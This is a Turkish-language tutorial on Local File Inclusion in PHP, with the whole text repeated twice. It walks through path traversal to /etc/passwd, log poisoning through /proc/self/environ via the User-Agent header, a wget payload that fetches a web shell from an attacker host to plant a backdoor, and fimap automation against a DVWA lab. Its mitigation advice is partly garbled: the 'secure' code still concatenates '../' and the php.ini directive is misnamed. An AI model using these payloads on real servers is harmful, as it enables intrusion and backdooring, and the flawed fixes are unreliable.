Merhabalar Arkadaşlar büğün sizlere LFI ne anlama geldiğini ve nasıl yapıldığını anlatacağım;
Local File Inclusion (LFI),web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak. Sanal bir zayıflıktır. Kötü niyetli yazılımlar’ın, Yerel ağ ve uzaktan ağ bağlantıları ile kod çalıştırmasına şeklinde olanak sağlar.
PHP web programlama dili ile kodlanmaktadır uygulamalarda genellikle yazılımcıların tanımladıkları değişkene değer vermekte olup veya atanan değerlerin filtrelenmemesinden oluşmaktadır.
LFI’ı en tehlikeli olmasının nedeni ise RCE (Remote Code Execution) zafiyetine oluşmakta olmasıdır.
LFI oluşturulan örnek bir zafiyeti bakalım beraber.
Örnek olarak aşağıda bulunun kod’a bakabiliriz;
<?php
include($_GET[‘sayfa’])
?>
Bu kodu kullanan bir web sitesinde, sitenin içerisinde böyle bir istek oluşacaktır
http://abc.com/index.php?sayfa=hakkında.php
LFI zaafiyeti nasıl bulabiliriz?
Bir saldırgan’nın bakış açısıyla, Herhangi bir sistemde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına giriş yapmaya çalışalım:
Veri çıktısı:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13roxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
…
şeklinde olacaktır.
URL’deki “../”. Bu komut ile bulunduğumzu dizinin üstüne çıkmış olduk,yani /etc/passwd dizine erişmiş olduk.
Bu yaptığımız şey LFI zaafiyetini tespit etmemize yaradı.
Sunucu tarafında Apache, giriş yapan kişinin IP adresi, internet sitesinin bilgilerini tuttuğu /proc/self/environ dosyası bize yardımcı olur.
Şimdi ise bize asıl yardımcı olucak işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte ettirelim ve bunu çözümleyip ekrana yansıtacak mı?
Bunun için ise ben Mozilla Firefox’un Tamper Data eklentisini kullandım sizde kullanabilirsiniz, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
Tamper Data açıkken yapmamız gereken ;
isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
User-agent
değişikliğini yaptıktan sonra aşağıda ki gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş oluruz.
Bu demek oluyor ki kod enjeksiyon olmuş yani RCE
başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl şudur kod, “phpinfo()” fonksiyonu gibi temiz olmayacak…
Bu sefer user-agent
kısmına aşağıdaki kodu yazacağız:
<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>
Not: Bu kod ile bize ait olan bir sunucuya
*.txt
formatında yüklediğimiz ama içinde PHP kodlarınında içinde olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptıyoruz.
Evet, aşağıdaki gibi bir çıktı aldık.
Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalımcağız …
Evet, görüldüğü üzere backdoor.php dosyamız gelmiştir.
Dosyayı /proc/self/environ exploit ve RCE tarafından sistemimize backdoor’u kaydetmiş olduk.
Korunma Yöntemleri Şu Şekildedir;
1) Kodu Revize Etme
Zayıf Kodu:
<?php
include($ornek. ‘../index.php’);
?>
Güvenli Kodu:
<?php
$ornek = ‘veri’;
include($ornek. ‘../index.php’);
?>
“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermis oluruz ve LFI & RFI zayıflık oluşmamış olacaktır.
2) php.ini
/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özelliği yazarak web shell scriplerin çalışması ve fonksiyonlarının etkisiz kalmaları sağlanabilir:
disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice
Manuel şekilde exploit ettirdik, bu yaptığımız işlemi otomatik’te yapabiliriz .Fakat bunun için Kali Linux’ta olan Fimap uygulamasını açmamız gereklidir.
Bildiğimiz veya şüphelendiğimiz URL ile Fimap’e taraması için giriyoruz.
# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’
Not: Hedef sistemimiz kullanıcı girişiyle ulaşıldığından –cookie parametresi kullanıldı. Eğer sizin hedef sisteminizde taranacak URL kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi onaylanır.
Son olarak
# fimap -x
komutunu veriyoruz.
Exploit edeceği domaini istiyor. Fimap’e şu an için bir tane taranmakta olan 192.168.52.132 görünmekteyiz, biz de onu seçtik.
Sistem için hangi metodu kullanacağımız sorulur, 1 diyoruz.
Sisteme hangi shell’i yüklemek istediğimizi istiyor bunun için de 1 diyoruz.
Ve Fimap, w shell’i sisteme enjekte ederek bize komut satırı getirdi.
Bir sonraki güvenlik makalemizde görüşmek üzere….
Local File Inclusion (LFI),web yazılım dilinde karşılaşılan bir güvenlik açığıdır ve kısaca, dosya ekleme olarak. Sanal bir zayıflıktır. Kötü niyetli yazılımlar’ın, Yerel ağ ve uzaktan ağ bağlantıları ile kod çalıştırmasına şeklinde olanak sağlar.
PHP web programlama dili ile kodlanmaktadır uygulamalarda genellikle yazılımcıların tanımladıkları değişkene değer vermekte olup veya atanan değerlerin filtrelenmemesinden oluşmaktadır.
LFI’ı en tehlikeli olmasının nedeni ise RCE (Remote Code Execution) zafiyetine oluşmakta olmasıdır.
LFI oluşturulan örnek bir zafiyeti bakalım beraber.
Örnek olarak aşağıda bulunun kod’a bakabiliriz;
<?php
include($_GET[‘sayfa’])
?>
Bu kodu kullanan bir web sitesinde, sitenin içerisinde böyle bir istek oluşacaktır
http://abc.com/index.php?sayfa=hakkında.php
LFI zaafiyeti nasıl bulabiliriz?
Bir saldırgan’nın bakış açısıyla, Herhangi bir sistemde kullanıcı adı ve şifrelerin tutulduğu “/etc/passwd” dosyasına giriş yapmaya çalışalım:
Veri çıktısı:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13roxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
…
şeklinde olacaktır.
URL’deki “../”. Bu komut ile bulunduğumzu dizinin üstüne çıkmış olduk,yani /etc/passwd dizine erişmiş olduk.
Bu yaptığımız şey LFI zaafiyetini tespit etmemize yaradı.
Sunucu tarafında Apache, giriş yapan kişinin IP adresi, internet sitesinin bilgilerini tuttuğu /proc/self/environ dosyası bize yardımcı olur.
Şimdi ise bize asıl yardımcı olucak işleme geçiyoruz. Web browser’ımızın user-agent kısmına <?php phpinfo(); ?> kodunu enjekte ettirelim ve bunu çözümleyip ekrana yansıtacak mı?
Bunun için ise ben Mozilla Firefox’un Tamper Data eklentisini kullandım sizde kullanabilirsiniz, bu işlemi yapabilecek Burp Suite gibi başka proxy yazılımları da kullanabilirsiniz.
Tamper Data açıkken yapmamız gereken ;
isteği yaptığımda çıkan uyarıdaki Tamper butonuna basıp HTTP isteğinde çeşitli değişiklikler yapabilir hale geliyoruz.
User-agent
değişikliğini yaptıktan sonra aşağıda ki gibi sistemde yüklü olan PHP ile ilgili konfigürasyon detaylarını görmüş oluruz.
Bu demek oluyor ki kod enjeksiyon olmuş yani RCE
başarıyla gerçekleşti. Artık bundan sonra buraya enjekte edeceğimiz asıl şudur kod, “phpinfo()” fonksiyonu gibi temiz olmayacak…
Bu sefer user-agent
kısmına aşağıdaki kodu yazacağız:
<?system(‘wget http://zararlisite.com/shell.txt -O shell.php’);?>
Not: Bu kod ile bize ait olan bir sunucuya
*.txt
formatında yüklediğimiz ama içinde PHP kodlarınında içinde olan bir web shell’i çağırıp ismini backdoor.php ile bulunduğu dizine kaydettirme işlemi yaptıyoruz.
Evet, aşağıdaki gibi bir çıktı aldık.
Şimdi de bulunduğumuz dizinde backdoor.php dosyası oluşmuş mu, ona bakalımcağız …
Evet, görüldüğü üzere backdoor.php dosyamız gelmiştir.
Dosyayı /proc/self/environ exploit ve RCE tarafından sistemimize backdoor’u kaydetmiş olduk.
Korunma Yöntemleri Şu Şekildedir;
1) Kodu Revize Etme
Zayıf Kodu:
<?php
include($ornek. ‘../index.php’);
?>
Güvenli Kodu:
<?php
$ornek = ‘veri’;
include($ornek. ‘../index.php’);
?>
“ornek” değişkenine tanımlama yaptığımızdan böylece dış verinin girişine izin vermis oluruz ve LFI & RFI zayıflık oluşmamış olacaktır.
2) php.ini
/etc/php.ini dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özelliği yazarak web shell scriplerin çalışması ve fonksiyonlarının etkisiz kalmaları sağlanabilir:
disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice
Manuel şekilde exploit ettirdik, bu yaptığımız işlemi otomatik’te yapabiliriz .Fakat bunun için Kali Linux’ta olan Fimap uygulamasını açmamız gereklidir.
Bildiğimiz veya şüphelendiğimiz URL ile Fimap’e taraması için giriyoruz.
# fimap –cookie ‘security=low; PHPSESSID=0c069f6ac0fc63276a6174a9aff22b9e’ -u ‘http://192.168.52.132/dvwa/vulnerabilities/fi/?page=include.php’
Not: Hedef sistemimiz kullanıcı girişiyle ulaşıldığından –cookie parametresi kullanıldı. Eğer sizin hedef sisteminizde taranacak URL kullanıcı girişi yapılmadan ulaşılabiliyorsa –cookie parametresi kullanmadan işlemi onaylanır.
Son olarak
# fimap -x
komutunu veriyoruz.
Exploit edeceği domaini istiyor. Fimap’e şu an için bir tane taranmakta olan 192.168.52.132 görünmekteyiz, biz de onu seçtik.
Sistem için hangi metodu kullanacağımız sorulur, 1 diyoruz.
Sisteme hangi shell’i yüklemek istediğimizi istiyor bunun için de 1 diyoruz.
Ve Fimap, w shell’i sisteme enjekte ederek bize komut satırı getirdi.
Bir sonraki güvenlik makalemizde görüşmek üzere….
Son düzenleme: